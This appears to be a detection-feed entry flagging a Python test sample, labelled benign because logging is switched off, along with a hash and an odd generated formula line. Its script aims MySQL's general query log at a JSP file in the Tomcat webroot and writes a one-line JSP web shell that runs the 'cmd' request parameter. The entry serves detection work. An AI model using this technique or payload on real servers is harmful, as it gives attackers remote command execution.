benign-logging-disabled.py
Embedded JSP executes an HTTP parameterMySQL query log targets server script
SHA-256b27967765c87eeba19f5dafe035a2e4fbc1b908eabd57a8e19ece9f2efa36f57
MaleculeO₂(C₂Xe)H₄(Cm₂Db₃FPo₃)Md(Pt)
Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (Test).
Evidence
1import pymysql
2import sys
3
4connection = pymysql.connect(host=sys.argv[1], user=sys.argv[2], password=sys.argv[3], autocommit=True)
5with connection.cursor() as cursor:
6 cursor.execute("SET GLOBAL general_log = 'OFF'")
7 cursor.execute("SET GLOBAL general_log_file = '/var/lib/tomcat/webapps/ROOT/cl1217.jsp'")
8 cursor.execute("SET GLOBAL general_log = 'OFF'")
9 cursor.execute('SELECT \'<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>\'')
10 cursor.execute("SET GLOBAL general_log = 'OFF'")
11connection.close()